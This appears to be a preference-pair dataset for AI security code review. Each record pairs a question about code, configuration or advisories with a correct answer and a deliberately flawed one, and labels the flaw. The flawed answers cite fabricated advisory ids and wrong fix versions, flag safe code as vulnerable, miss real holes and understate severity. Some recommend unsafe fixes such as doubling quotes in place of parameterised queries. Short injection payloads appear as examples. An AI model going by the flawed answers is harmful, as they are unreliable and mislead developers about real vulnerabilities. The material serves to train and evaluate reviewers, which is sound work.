{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CVE-2022-25883 / GHSA-c2qf-rxjj-qqgw (CWE-1333, ReDoS)"], "summary": "7.3.8 is in the affected range (7.0.0 to before 7.5.2) and the range string is attacker-controlled, so a crafted value can pin the event loop. Upgrade to semver>=7.5.2 and cap the inp...
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CVE-2022-25883 / GHSA-x4m2-7c9p-2fqw (CWE-1333, ReDoS)"], "summary": "7.3.8 is in the affected range (7.0.0 to before 7.5.2) and the range string is attacker-controlled, so a crafted value can pin the event loop. Upgrade to semver>=7.5.2 and cap the inp...
GHSA-c2qf-rxjj-qqgw
F1
json
https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
Needs changes
Needs changes
cites a fabricated GHSA id instead of GHSA-c2qf-rxjj-qqgw
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-c2qf-rxjj-qqgw" }
8a7fa22f825a1f574543a9b985ea448042e33cce6d953af045b524aaaab831c7
Video worker: src = os.path.join(WORK, f'{uuid.uuid4()}.mp4') upload.save(src) subprocess.run(['ffmpeg', '-i', src, '-vf', 'scale=640:-2', src + '.webm'], check=True, timeout=300) Command injection?
- Verdict: Secure - vulnerability_count: 0 - The argument list is passed without a shell and every path is server-generated from a UUID, so no user text reaches the command line. - The timeout and check=True are good; consider -nostdin and resource limits for hostile media files.
- Verdict: Insecure - vulnerability_count: 1 - Issue: CWE-78 OS command injection (OWASP A03:2021), high; related CWE-88 argument injection - subprocess.run concatenates the list elements into a single command string before handing it to the operating system, so the upload's original filename can carry shell metacharac...
code-ffmpeg-list-args
F6
bullets
https://cwe.mitre.org/data/definitions/78.html
Secure
Insecure
flags list-form subprocess with server-generated paths as command injection
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/78.html" }
ac6f0a7854108ef93d48d413a488fe1d24220e4e28c4d55df099b2af2815ed76
SQLAlchemy 2.0 login lookup: user = session.scalars(select(User).where(User.email == form.email.data)).first() Is this injectable?
Verdict: Secure. vulnerability_count: 0. Comparing a column with a Python value builds a bound parameter, so the email is never spliced into the SQL. Injection appears with text() and string formatting, not here. Normalise case before lookup if emails are case-insensitive for you.
Verdict: Insecure. vulnerability_count: 1. Issues: CWE-89 SQL injection (OWASP A03:2021), high. The where() clause receives the raw form value, and SQLAlchemy 2.0 compiles == comparisons on string columns into literal SQL for performance unless the value is wrapped in bindparam(), so an email such as x' OR 1=1 -- retur...
code-sqlalchemy-orm-filter
F6
prose
https://cwe.mitre.org/data/definitions/89.html
Secure
Insecure
flags an ORM equality filter as SQL injection
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/89.html" }
4c6f01418097c5981337e135fe32fb06658d288fdde89132c2b81f696e778c2b
Secret scanner flagged tests/conftest.py: @pytest.fixture def db_url(): # matches the throwaway postgres in docker-compose.test.yml, bound to 127.0.0.1 return 'postgresql://test:test@127.0.0.1:55432/test' True positive? JSON.
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "This is a fixed credential for a disposable test database bound to localhost, not a production secret, so it is not a meaningful CWE-798 finding. Mark it as an allowed test fixture in the scanner, and make sure the same password is never reused i...
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-798: use of hard-coded credentials, critical", "CWE-259: use of hard-coded password", "OWASP A07:2021 identification and authentication failures"], "summary": "A database username and password are committed in plain text. Hard-coded credentials in source...
code-test-fixture-password
F4
json
https://cwe.mitre.org/data/definitions/798.html
Secure
Insecure
treats a throwaway local test credential as a critical leaked secret
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/798.html" }
f1cce805d62d51ed35ab6c86b793f7014547e7634875c3750a01375d71a6d5e8
Express + MongoDB login lookup: const user = await db.collection('users').findOne({ email: String(req.body.email) }); if (!user || !(await bcrypt.compare(String(req.body.password), user.hash))) return res.sendStatus(401); NoSQL injection?
Verdict: Secure. vulnerability_count: 0. The classic MongoDB injection sends an object such as {"$ne": null} so the filter matches any document. Here both fields are wrapped in String(), so an object becomes the literal string "[object Object]" and can only ever match an email equal to that text. The password is checke...
Verdict: Insecure. vulnerability_count: 1. CWE-943 NoSQL injection: req.body.email can be {"$ne": null}, which matches the first user in the collection and bypasses the email check.
code-nosql-string-coerce
F6
prose
https://cwe.mitre.org/data/definitions/943.html
Secure
Insecure
flags NoSQL operator injection although String() coercion removes object payloads
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/943.html" }
5079c13a5904ae1e75f51d2a9bc23eae3a9b74000002f95cb3952127247e7d79
Our page has one inline bootstrap script: <script nonce="{{ csp_nonce }}">window.__CONFIG__ = {{ config|tojson }};</script> Header: Content-Security-Policy: script-src 'nonce-{{ csp_nonce }}'; object-src 'none'; base-uri 'none' The nonce is 128 random bits generated per response. Problem?
- Verdict: Secure - vulnerability_count: 0 - A fresh, unpredictable nonce per response is the intended way to allow one trusted inline script under CSP. Injected markup cannot guess the nonce, so injected scripts are still blocked. - tojson escapes <, > and & as \u003c and so on, so config values cannot close the scrip...
- Verdict: Needs changes - vulnerability_count: 1 - CWE-79: inline scripts are an XSS risk; move the config into an external .js file and drop the nonce.
code-csp-nonce-inline
F6
bullets
https://cwe.mitre.org/data/definitions/79.html
Secure
Needs changes
treats nonce-protected inline script as an XSS weakness
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
d04d7b0193a06601044c4acc8b17414a34c2352092cd4b64845b933bde6bdf46
Download link generation (boto3): key = f"exports/{current_user.id}/{export_id}.csv" if not Export.query.filter_by(id=export_id, user_id=current_user.id).first(): abort(404) url = s3.generate_presigned_url('get_object', Params={'Bucket': EXPORT_BUCKET, 'Key': key}, ExpiresIn=300) return redirect(url)
Verdict: Secure. vulnerability_count: 0. generate_presigned_url only signs a URL locally; the server makes no outbound request, so there is no SSRF (CWE-918). The bucket is a constant and the key is built from the session's user id plus an export id that is first checked to belong to that user, so one user cannot sign ...
Verdict: Insecure. vulnerability_count: 2. CWE-918 SSRF and CWE-639 IDOR: export_id comes from the request and is used to build a URL the server redirects to.
code-s3-presign-userkey
F6
prose
https://cwe.mitre.org/data/definitions/918.html
Secure
Insecure
flags SSRF and IDOR where the bucket is constant and the key is derived from the session
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/918.html" }
6f13e124d6b32e983c52ead38744d47227d3bb16da3f947cb2917b25bb7b0dcd
Field encryption (Python cryptography): key = kms_data_key() # 256-bit, rotated monthly nonce = os.urandom(12) ct = AESGCM(key).encrypt(nonce, plaintext, aad=record_id.encode()) store(nonce + ct) About 50k records a month. JSON review.
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "A random 12-byte nonce is the recommended size for AES-GCM, and the usual guidance keeps random nonces under about 2^32 encryptions per key; 50k a month with monthly rotation is far below that, so nonce reuse is not a realistic risk (no CWE-329 i...
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-329: 96-bit nonce too short"], "summary": "Use a 16-byte IV."}
code-aesgcm-random-nonce
F6
json
https://cwe.mitre.org/data/definitions/329.html
Secure
Needs changes
calls the standard 96-bit GCM nonce too short
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/329.html" }
db0bffcc2e02badb233ab3a28780761df57cf5f4edf76aeca77ea58b4e0b9abc
Flask logout: @app.post('/logout') def logout(): session.clear() return redirect(url_for('login', msg='bye')) Open redirect?
Verdict: Secure. vulnerability_count: 0. url_for builds the URL from the registered 'login' endpoint, so the destination is always a path on this application. msg only becomes a query-string value on that path, and nothing in the request influences the host (no CWE-601). Using POST for logout and clearing the whole ses...
Verdict: Needs changes. vulnerability_count: 1. CWE-601 open redirect: the redirect target includes a user-visible parameter (msg).
code-redirect-url-for
F6
mixed
https://cwe.mitre.org/data/definitions/601.html
Secure
Needs changes
flags an open redirect where the target is a fixed internal endpoint
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/601.html" }
0f85dace653a14bbe45289febc89ed8dd51532910d42291407d69bf30c7e99f2
Admin import parses a Python-literal settings blob that users paste: import ast settings = ast.literal_eval(request.form['blob'][:10000]) if not isinstance(settings, dict): abort(400) Code injection?
Verdict: Secure. vulnerability_count: 0. ast.literal_eval only accepts Python literals (strings, numbers, tuples, lists, dicts, sets, booleans, None) and raises on names, calls or attribute access, so it cannot run code the way eval does (no CWE-95). Very deeply nested input can still crash the parser, and the 10,000-c...
Verdict: Insecure. vulnerability_count: 1. CWE-95 eval injection: the blob is evaluated as Python, so a user can run arbitrary code on the server.
code-ast-literal-eval
F6
prose
https://cwe.mitre.org/data/definitions/95.html
Secure
Insecure
equates ast.literal_eval with eval
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/95.html" }
83a682a7dab83147a44b1868ff069995d5027ab27107d921d1577d4bed85adbf
GraphQL (Apollo) resolver on our production API, introspection enabled: Query: { invoice: async (_, { id }, ctx) => { if (!ctx.user) throw new AuthenticationError('login'); return Invoice.findByPk(id); } }
Verdict: Insecure. vulnerability_count: 2. High: CWE-639, any logged-in user can read any invoice by id; filter by ctx.user's account. Low: introspection on in production makes the schema easy to map; disable it.
Verdict: Needs changes. vulnerability_count: 1. Issue: CWE-200 exposure of sensitive information, aligned with OWASP API Security API8:2023 security misconfiguration and API9:2023 improper inventory management. Leaving introspection enabled in production publishes the full schema, including types, fields, deprecated op...
code-graphql-idor-introspection
F3
prose
https://cwe.mitre.org/data/definitions/639.html
Insecure
Needs changes
writes at length about introspection and misses the missing object-level authorisation
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/639.html" }
b7a810a53cf0695123c3cde482f700c86fbdd981bb38080c674ffc5a8f711e43
Avatar uploads: we accept image/png, image/jpeg and image/svg+xml, store them in /static/avatars/ on the same domain as the app, and serve them with their original Content-Type. No size limit yet.
- Verdict: Insecure - vulnerability_count: 2 - High: CWE-79, SVG can carry script; served inline from the app origin it runs with the user's session. Drop SVG or rasterise it, and serve uploads from a separate domain with Content-Disposition: attachment. - Medium: no size limit (CWE-770).
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CWE-770 allocation of resources without limits (OWASP API4:2023 unrestricted resource consumption); related CWE-400 uncontrolled resource consumption - Without a maximum upload size an attacker can send multi-gigabyte files, filling the disk, exhausting worker ...
code-upload-svg-inline
F3
bullets
https://cwe.mitre.org/data/definitions/79.html
Insecure
Needs changes
covers upload size limits in detail and misses stored XSS via inline SVG on the app origin
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
f4f098bd47e5b2de48355900b58b89aea96756a1954127bdd81bab6804e78ee3
package.json for a newsletter service where customers write their own email templates, compiled server-side with _.template(customerTemplate): "engines": { "node": "14.x" }, "dependencies": { "lodash": "4.17.20", "express": "4.19.2" }
Verdict: Insecure. vulnerability_count: 2. Critical in this context: CVE-2021-23337 / GHSA-35jh-r3h4-6jhm, lodash before 4.17.21 allows command injection through _.template, and customers control the templates, so this is server-side code execution; upgrade to 4.17.21 and stop compiling customer text as lodash template...
Verdict: Needs changes. vulnerability_count: 1. Issue: CWE-1104 use of unmaintained third-party components, and CWE-1395 dependency on a vulnerable component. Node.js 14 reached end-of-life in April 2023, so the runtime no longer receives security patches for V8, OpenSSL, llhttp or the HTTP parser, and any newly disclo...
GHSA-35jh-r3h4-6jhm
F3
prose
https://github.com/advisories/GHSA-35jh-r3h4-6jhm
Insecure
Needs changes
focuses on the end-of-life runtime and misses the lodash template injection that the feature enables
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm" }
487a4cabb925f29b50e80ac63864cac6cb66e0316541f052027c21ffc1de2c2d
Auth config (Node): const SECRET = process.env.JWT_SECRET || 'changeme'; const token = jwt.sign({ sub: user.id, role: user.role }, SECRET); // HS256, no expiresIn Production sets JWT_SECRET... we think. JSON.
{"verdict": "Insecure", "vulnerability_count": 2, "issues": ["CWE-798 / CWE-1188: fallback secret 'changeme'", "CWE-613: tokens never expire"], "summary": "If JWT_SECRET is ever unset, anyone can sign tokens with role admin. Fail startup when the secret is missing, then add expiresIn."}
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-613: insufficient session expiration", "OWASP A07:2021 identification and authentication failures", "RFC 8725 JWT best current practice, section 3.10"], "summary": "Tokens are signed without an exp claim, so a token stolen through XSS, logs, browser...
code-jwt-default-secret
F3
json
https://cwe.mitre.org/data/definitions/798.html
Insecure
Needs changes
explains missing token expiry at length and misses the guessable default signing secret
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/798.html" }
0053b556ebce45005bef8b9116bf657002300bc7bc754f1129a81d32fdf0562a
Terraform for our invoice archive: resource "aws_s3_bucket" "invoices" { bucket = "acme-invoices-prod" } resource "aws_s3_bucket_acl" "invoices" { bucket = aws_s3_bucket.invoices.id acl = "public-read" } # no versioning block
- Verdict: Insecure - vulnerability_count: 2 - Critical: acl = public-read makes every invoice listable and downloadable by anyone (CWE-732). Use private, enable Block Public Access, and serve files via presigned URLs. - Lower: no versioning, so deletions cannot be recovered.
- Verdict: Needs changes - vulnerability_count: 1 - Issue: missing object versioning and backup controls (CWE-693 protection mechanism failure; related to CIS AWS Foundations S3 controls and NIST SP 800-53 CP-9) - Without versioning, an accidental delete, a buggy lifecycle rule or ransomware with write access can perma...
code-tf-s3-public-acl
F3
bullets
https://cwe.mitre.org/data/definitions/732.html
Insecure
Needs changes
covers versioning and backups and misses the public-read ACL on a bucket of invoices
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/732.html" }
01e3d4140bbbfbee118331905856c536d147c8854a31a353ed0abc094c052ca4
Compliance asks for the advisory id and fixed version for the Flask session-cookie caching issue. We run Flask 2.2.4 behind Varnish.
Verdict: Needs changes. vulnerability_count: 1. It is CVE-2023-30861 / GHSA-m2qf-hxjv-5gpq (high, CWE-539). Fixed in Flask 2.2.5 on your line (2.3.2 on 2.3.x). Behind Varnish it matters; upgrade to 2.2.5.
Verdict: Needs changes. vulnerability_count: 1. The record is GHSA-q3f8-w2r9-5jcm (CVE-2023-30861, high, CWE-539): Flask could omit Vary: Cookie when refreshing a permanent session, so a shared cache like Varnish may serve one user's session cookie to another. On the 2.2 line the fix shipped in Flask 2.2.6, together wi...
GHSA-m2qf-hxjv-5gpq
F1
prose
https://github.com/advisories/GHSA-m2qf-hxjv-5gpq
Needs changes
Needs changes
fabricated GHSA id and a non-existent fix version for the Flask Vary: Cookie issue
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-m2qf-hxjv-5gpq" }
a92815eb41969a54bde4eeccb82f61524fa4a8fd73124dc3f0d7c6f5e861622d
urllib3 2.0.4 in a service that sets a Cookie header manually and follows redirects to partner domains. Which CVE covers the cookie leak? JSON.
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CVE-2023-43804 / GHSA-v845-jxx5-vc9f"], "summary": "Cookie was not stripped on cross-origin redirects in urllib3 2.0.0 to before 2.0.6. Upgrade to 2.0.6+."}
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CVE-2023-45803 (urllib3, CWE-200)"], "summary": "CVE-2023-45803 covers urllib3 forwarding the manually set Cookie header to a different origin when following redirects. 2.0.4 is affected. Upgrade urllib3, and until then pass redirect=False for partner c...
GHSA-v845-jxx5-vc9f
F1
json
https://github.com/advisories/GHSA-v845-jxx5-vc9f
Needs changes
Needs changes
cites a real urllib3 CVE that is about request bodies on 303 redirects, not the Cookie header leak
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-v845-jxx5-vc9f" }
ae0a67bcfea1228ee26d062a00b552d8bf15aa4a0fa8f3623cb0c73efbbbc9e1
Pentest found code execution through Pillow ImageMath.eval in our 10.1.0 image service. What's the CVE for the ticket?
- Verdict: Insecure - vulnerability_count: 1 - CVE-2023-50447 / GHSA-3f63-hfp8-52jq, critical - Fixed in Pillow 10.2.0; 10.1.0 is affected.
- Verdict: Insecure - vulnerability_count: 1 - CVE-2023-50912 (Pillow ImageMath.eval arbitrary code execution, CWE-94/CWE-95), critical - Pillow before 10.2.0 lets keys of the environment dictionary reach the expression evaluator, so attacker-chosen names can execute code; 10.1.0 is in range. - Fix: upgrade to 10.2.0 a...
GHSA-3f63-hfp8-52jq
F1
bullets
https://github.com/advisories/GHSA-3f63-hfp8-52jq
Insecure
Insecure
fabricated CVE id for the Pillow ImageMath.eval code execution
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-3f63-hfp8-52jq" }
5d8ba82e7dd0862a622415460233bfa95687824fd488cdbee07a2d384e6fdab8
We only call _.zipObjectDeep with request-supplied paths; no _.template anywhere. lockfile: lodash 4.17.19 (the lodash package, not lodash-es). Still exposed to the zipObjectDeep prototype pollution?
Verdict: Secure for that advisory. vulnerability_count: 0. CVE-2020-8203 affects lodash 3.7.0 to before 4.17.19, so 4.17.19 has the fix. Moving to 4.17.21 is still worthwhile.
Verdict: Needs changes. vulnerability_count: 1. CVE-2020-8203 / GHSA-p6mc-m468-83gw (CWE-1321, high) is still open on your version: the zipObjectDeep fix shipped in 4.17.20, and 4.17.19 only partially blocked __proto__ while still allowing constructor.prototype paths. Because the paths come from requests, an attacker c...
GHSA-p6mc-m468-83gw
F2
prose
https://github.com/advisories/GHSA-p6mc-m468-83gw
Secure
Needs changes
confuses the lodash-es fix version (4.17.20) with lodash (4.17.19)
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-p6mc-m468-83gw" }
40cd279ac6c32022f70d93560a2ce9fecce5855fa2fa2fcae9244b4b4249685a
An old CLI parses user-supplied flags with minimist 0.2.4 and we cannot jump to 1.x yet. Does the minimist prototype-pollution advisory apply?
- Verdict: Secure (for that advisory) - vulnerability_count: 0 - CVE-2021-44906 was fixed on the 0.x line in 0.2.4 (and in 1.2.6 on 1.x), so 0.2.4 is outside the range.
- Verdict: Insecure - vulnerability_count: 1 - CVE-2021-44906 / GHSA-xvch-5gv4-984h (critical, CWE-1321) - The fix was only released on the 1.x line (1.2.6); the 0.x branch was abandoned, so every 0.x version including 0.2.4 still lets --__proto__.x=y pollute Object.prototype from command-line flags. - Because users su...
GHSA-xvch-5gv4-984h
F2
bullets
https://github.com/advisories/GHSA-xvch-5gv4-984h
Secure
Insecure
says the 0.x line was never patched; 0.2.4 is the fixed release for 0.x
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-xvch-5gv4-984h" }
360567c221b289b1ac410bdcc4d5a15ea9a30b39c949e849ba355d118d75f47f
A Java 7 service (cannot upgrade the JVM) runs log4j-core 2.12.2. Is it still exposed to CVE-2021-44228 or CVE-2021-45046?
Verdict: Secure for those two. vulnerability_count: 0. 2.12.2 is the Java 7 release that fixes both: CVE-2021-44228 and CVE-2021-45046 cover 2.4 up to but not including 2.12.2 on that line.
Verdict: Insecure. vulnerability_count: 2. CVE-2021-44228 / GHSA-jfh8-c2jp-5v3q and CVE-2021-45046 / GHSA-7rjr-3q55-vv33 (both critical) affect every 2.x release before 2.16.0, and the 2.12.x line only received partial mitigations, so 2.12.2 still resolves JNDI lookups from Thread Context data. Because Java 7 cannot ru...
GHSA-7rjr-3q55-vv33
F2
prose
https://github.com/advisories/GHSA-7rjr-3q55-vv33
Secure
Insecure
claims the whole 2.12.x line is affected; 2.12.2 is the Java 7 fix for both Log4Shell CVEs
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-7rjr-3q55-vv33" }
5e6d61c133258388b492ba8e169cf2af300d1edafca9182b4e6f22ae9097111f
Jinja2 3.1.4 renders user-controlled attribute dicts via |xmlattr. Are we still exposed to the two xmlattr injection advisories? JSON.
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "Both xmlattr advisories are fixed by 3.1.4 (spaces in 3.1.3, then /, > and = in 3.1.4). Still prefer allow-listed keys."}
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CVE-2024-34064 / GHSA-h75v-3vvj-5mfj (CWE-79)"], "summary": "3.1.4 blocked / and > in keys but still allowed =, so a key such as onclick=alert(1) can inject an attribute; the complete fix is in 3.1.5. Upgrade to 3.1.5 and never pass request-controlled k...
GHSA-h75v-3vvj-5mfj
F2
json
https://github.com/advisories/GHSA-h75v-3vvj-5mfj
Secure
Needs changes
claims the xmlattr fix needed 3.1.5; both xmlattr advisories are fixed by 3.1.4
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-h75v-3vvj-5mfj" }
b5ff69a905272146897b66b67f99f5787db6518345822e5ab59affe5ac7d8d34
settings/production.py (Django 4.2): DEBUG = True ALLOWED_HOSTS = ['*'] JSON verdict.
{"verdict": "Insecure", "vulnerability_count": 2, "issues": ["CWE-489: DEBUG on in production", "CWE-20: ALLOWED_HOSTS wildcard"], "summary": "Debug pages leak settings and stack traces; wildcard hosts allow Host-header poisoning. Set DEBUG=False and list real hosts."}
{"verdict": "Needs changes", "vulnerability_count": 3, "issues": ["CWE-489: DEBUG on in production", "CWE-20: ALLOWED_HOSTS wildcard"], "summary": "With DEBUG enabled, any unhandled error renders Django's technical page with settings, environment variables, SQL and stack traces to anonymous visitors, and the wildcard A...
code-django-debug-hosts
F7
json
https://cwe.mitre.org/data/definitions/489.html
Insecure
Needs changes
count says 3 while two issues are listed, and the verdict understates a critical config
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/489.html" }
de008bef8e196580cac8265ca0d24e0a87daec2f8c470a7179ce7a460e3f73de
Report builder: admins of customer workspaces (untrusted tenants) upload lodash templates, compiled with _.template on our servers. lodash 4.17.15. JSON.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CVE-2021-23337 / GHSA-35jh-r3h4-6jhm"], "summary": "lodash <4.17.21 template allows command injection; tenants control templates. Upgrade and sandbox rendering."}
{"verdict": "Secure", "vulnerability_count": 0, "issues": ["CVE-2021-23337 / GHSA-35jh-r3h4-6jhm (high, CWE-94)"], "summary": "lodash before 4.17.21 lets crafted template options inject code into the function _.template compiles, and tenant admins control the templates, so a tenant could execute commands on the shared ...
GHSA-35jh-r3h4-6jhm
F7
json
https://github.com/advisories/GHSA-35jh-r3h4-6jhm
Insecure
Secure
verdict Secure and count 0 contradict the high-severity issue it lists and explains
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm" }
1c9b423e698e73579c19cf0632961e0f2c8c36234007ccf36ffe10cb0ce3b152
nginx.conf on our public site: ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers HIGH:!aNULL:!MD5;
- Verdict: Needs changes - vulnerability_count: 1 - CWE-327: TLS 1.0 and 1.1 are deprecated (RFC 8996). Use ssl_protocols TLSv1.2 TLSv1.3.
- Verdict: Insecure - vulnerability_count: 0 - CWE-327: TLS 1.0 and 1.1 are enabled; both are formally deprecated by RFC 8996 and allow downgrade-prone, legacy cipher suites such as CBC-mode ciphers with SHA-1 MACs. - CWE-326: the cipher string relies on OpenSSL's HIGH alias, which can change between builds. - Fix: ssl...
code-nginx-old-tls
F7
bullets
https://cwe.mitre.org/data/definitions/327.html
Needs changes
Insecure
lists two issues but reports a count of 0
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/327.html" }
a7c19b8dea06917d66d89e9fed5a79028bfae4bb7a60ac5983bf2338e94bb150
Profile template (Jinja, autoescape on): <a href="{{ user.website }}">website</a> users set website freely. Fix?
Verdict: Needs changes. vulnerability_count: 1. CWE-79: escaping does not stop javascript:alert(1) in href. Allow only http/https URLs when saving.
Verdict: Needs changes. vulnerability_count: 1. CWE-79 cross-site scripting through the website field. Fix: apply the |e filter explicitly, as in href="{{ user.website|e }}", so quotes and angle brackets are encoded and the value cannot break out of the attribute. Combined with autoescape this makes the link safe for a...
code-href-javascript-scheme
F10
prose
https://cwe.mitre.org/data/definitions/79.html
Needs changes
Needs changes
recommends HTML escaping, which does not stop javascript: URLs in href
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
f2865e371171c332f1529c821a8b26aede23a8aa4cf47c5ce0c3af15b311463b
PHP/MySQL search: $q = $_GET['q']; $rows = $db->query("SELECT * FROM products WHERE name LIKE '%$q%'"); What is the fix?
- Verdict: Insecure - vulnerability_count: 1 - CWE-89. Use a prepared statement: prepare("... LIKE ?") and bind '%' . $q . '%'.
- Verdict: Insecure - vulnerability_count: 1 - CWE-89 SQL injection: $q is inserted into the query unescaped. - Fix: escape quotes before building the query with $q = str_replace("'", "''", $q), which is the SQL-standard way to embed a literal quote, so the value can no longer close the string. - This keeps the existin...
code-sqli-escape-quotes
F10
bullets
https://cwe.mitre.org/data/definitions/89.html
Insecure
Insecure
recommends doubling single quotes instead of parameterised queries
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/89.html" }
dbbe39684bf4f2f4e8d87b6482130f0e114f8adbac9abbda7129a298e53af5a3
Login endpoint has no brute-force protection. The app runs behind one AWS ALB. What should the rate limit be keyed on?
Verdict: Needs changes. vulnerability_count: 1. CWE-307. Key limits on the target account and on the client IP that the ALB appends (trust only that last hop), with backoff.
Verdict: Needs changes. vulnerability_count: 1. CWE-307 improper restriction of excessive authentication attempts. Key the limiter on the first address in the X-Forwarded-For header, since the ALB forwards the original client address there and the socket address will always be the load balancer. Allow 5 attempts per mi...
code-ratelimit-xff
F10
prose
https://cwe.mitre.org/data/definitions/307.html
Needs changes
Needs changes
recommends keying the limit on a client-controlled X-Forwarded-For header
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/307.html" }
5845a0181db2a8a275a1168a20e11149a887d746125e6f3dad379b5e9a7541e8
Severity for our risk register: node-fetch 2.6.1 calls customer webhook URLs with our Authorization header and follows redirects.
- Verdict: Insecure - vulnerability_count: 1 - CVE-2022-0235 (high): credentials forwarded on cross-host redirects. Upgrade to 2.6.7+.
- Verdict: Needs changes - vulnerability_count: 1 - CVE-2022-0235 / GHSA-r683-j2x4-v87g, informational; CWE-116 improper encoding or escaping of output - node-fetch 2.6.1 does not normalise header casing on redirects, which can cause interoperability problems with strict servers. - Record as low risk and upgrade at the...
GHSA-r683-j2x4-v87g
F8
bullets
https://github.com/advisories/GHSA-r683-j2x4-v87g
Insecure
Needs changes
downgrades credential forwarding to an informational encoding issue
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-r683-j2x4-v87g" }
c02daafc061d0ba9368db8afd9cd45271a11b7dffb50feaf3244b04e362cecd7
Support tickets: customers submit a subject line; our admin dashboard renders it with element.innerHTML = ticket.subject. Severity?
Verdict: Insecure. vulnerability_count: 1. Stored XSS (CWE-79), high: any customer can run script in an admin's session. Use textContent.
Verdict: Needs changes. vulnerability_count: 1. Self-XSS (CWE-79), informational: the subject is only rendered back inside the support tooling, and exploiting it would require a user to paste a payload into their own ticket, so there is no realistic victim. Switch to textContent during the next dashboard refactor for h...
code-stored-xss-admin
F8
prose
https://cwe.mitre.org/data/definitions/79.html
Insecure
Needs changes
calls stored XSS reaching admins self-XSS and rates it informational
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
eda1ec49445a83d6fcb5487edf1a633fe8f62c50ad7464bdca09f0dca17c187c
Public chat server on ws@8.16.0, directly exposed on port 443. Are we affected by the many-headers crash?
Verdict: Insecure. vulnerability_count: 1. Yes. CVE-2024-37890 affects ws 8.0.0 to before 8.17.1, and 8.16.0 is in range. An unauthenticated request with many headers can crash the server. Upgrade to 8.17.1.
Verdict: Needs changes. vulnerability_count: 0. Possibly. Whether this applies depends on Node version, proxy configuration and header limits, which are not known here. It may be worth checking with the ws maintainers.
GHSA-3h5v-q93c-6h6q
F9
prose
https://github.com/advisories/GHSA-3h5v-q93c-6h6q
Insecure
Needs changes
hedges although ws 8.16.0 is in range and the server is internet-facing
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-3h5v-q93c-6h6q" }
c8be89dd625f164ae1d5ad2588f8b6b9b0e0ceba371a7e289ac5e32402e05bce
Found in our React bundle served to all visitors: const stripe = new Stripe('sk_live_EXAMPLE_DO_NOT_USE_1234'); Issue?
- Verdict: Insecure - vulnerability_count: 1 - CWE-798: an sk_live_ secret key in public JavaScript gives anyone full API access to the account. - Roll the key now; use only the publishable pk_ key in the browser.
- Verdict: Needs changes - vulnerability_count: 0 - It might be a test or restricted key; the impact depends on its permissions. - Consider confirming with whoever set it up before taking action.
code-stripe-key-frontend
F9
bullets
https://cwe.mitre.org/data/definitions/798.html
Insecure
Needs changes
hedges on a live secret key shipped in a public browser bundle
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/798.html" }
cafb46bedba6f556c73fa958d0ab77d0a59ae922b7bd319a842e856b3ff9a73a
